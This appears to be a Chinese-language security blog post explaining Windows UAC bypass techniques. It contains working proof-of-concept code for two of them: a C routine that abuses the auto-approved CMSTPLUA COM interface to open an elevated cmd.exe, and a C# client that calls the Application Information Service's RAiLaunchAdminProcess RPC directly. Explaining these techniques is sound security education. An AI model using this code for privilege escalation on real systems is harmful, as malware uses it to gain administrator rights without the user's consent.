今天要介紹如何根據 UAC 的設計做到 Bypass UAC。
首先要大概了解 Application Information Service 的驗證有哪些。
根據這篇文章,Application Information Service 會經過不同的驗證決定要彈出視窗或是直接給予權限。
根據 UACME 這個集合幾乎所有 Bypass UAC 手法的專案。另外,在 elastic 的文章也分類出 Bypass UAC 有以下幾種模式:
除此之外,還包含了直接向 RPC server 發出請求。
以下舉兩個常見的例子來分享:
這個 PoC 看起來超簡單,而且惡意程式非常愛用。
#define T_CLSID_CMSTPLUA L"{3E5FC7F9-9A51-4367-9063-A120244FBEC7}"
#define T_IID_ICMLuaUtil L"{6EDD6D74-C007-4E75-B76A-E5740995E24C}"
VOID Method41_Test()
{
HRESULT r = E_FAIL;
BOOL bCond = FALSE;
IID xIID_ICMLuaUtil;
CLSID xCLSID_ICMLuaUtil;
ICMLuaUtil *CMLuaUtil = NULL;
BIND_OPTS3 bop;
WCHAR szElevationMoniker[MAX_PATH];
do {
if (CLSIDFromString(T_CLSID_CMSTPLUA, &xCLSID_ICMLuaUtil) != NOERROR) {
break;
}
if (IIDFromString(T_IID_ICMLuaUtil, &xIID_ICMLuaUtil) != S_OK) {
break;
}
RtlSecureZeroMemory(szElevationMoniker, sizeof(szElevationMoniker));
_strcpy(szElevationMoniker, L"Elevation:Administrator!new:");
_strcat(szElevationMoniker, T_CLSID_CMSTPLUA);
RtlSecureZeroMemory(&bop, sizeof(bop));
bop.cbStruct = sizeof(bop);
bop.dwClassContext = CLSCTX_LOCAL_SERVER;
r = CoGetObject(szElevationMoniker, (BIND_OPTS *)&bop, &xIID_ICMLuaUtil, &CMLuaUtil);
if (r != S_OK) {
break;
}
r = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, L"C:\\windows\\system32\\cmd.exe", NULL, NULL, SEE_MASK_DEFAULT, SW_SHOW);
} while (bCond);
if (CMLuaUtil != NULL) {
CMLuaUtil->lpVtbl->Release(CMLuaUtil);
}
}
根據 這篇文章,這個 COM Interface {3E5FC7F9-9A51-4367-9063-A120244FBEC7}
在 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UAC\COMAutoApprovalList
中,並且滿足 COM Elevation Moniker的條件,就可以使用這個 COM Interface 提供的函數,像是 ShellExecute 或 CreateProcess
根據 James Forshaw 的文章,他實作 RPC client 直接向 Application Information Service 的 RPC server 發出請求,並且執行 RAiLaunchAdminProcess。
static NtProcess LaunchAdminProcess(string executable, string cmdline, StartFlags flags, CreateProcessFlags create_flags, string desktop)
{
StartAppinfoService();
using (Client client = new Client())
{
client.Connect();
create_flags |= CreateProcessFlags.UnicodeEnvironment;
Struct_0 start_info = new Struct_0();
int retval = client.RAiLaunchAdminProcess(executable, cmdline, (int)flags, (int)create_flags,
@"c:\windows", desktop, start_info, new NdrUInt3264(GetDesktopWindow()),
-1, out Struct_2 proc_info, out int elev_type);
if (retval != 0)
{
throw new Win32Exception(retval);
}
using (var thread = NtThread.FromHandle(new IntPtr(proc_info.Member8.Value)))
{
return NtProcess.FromHandle(new IntPtr(proc_info.Member0.Value));
}
}
}
這個技巧也被收錄在 [UACME] 當中。(https://github.com/hfiref0x/UACME/blob/master/Source/Akagi/appinfo/x64/appinfo64.c#L93)
Application Information Service 的 RPC server 在註冊時,使用的 RpcServerRegisterIfEx 沒有 security descriptor、security callback 或 authentication binding。
下一篇開始要介紹的是 .NET 系列!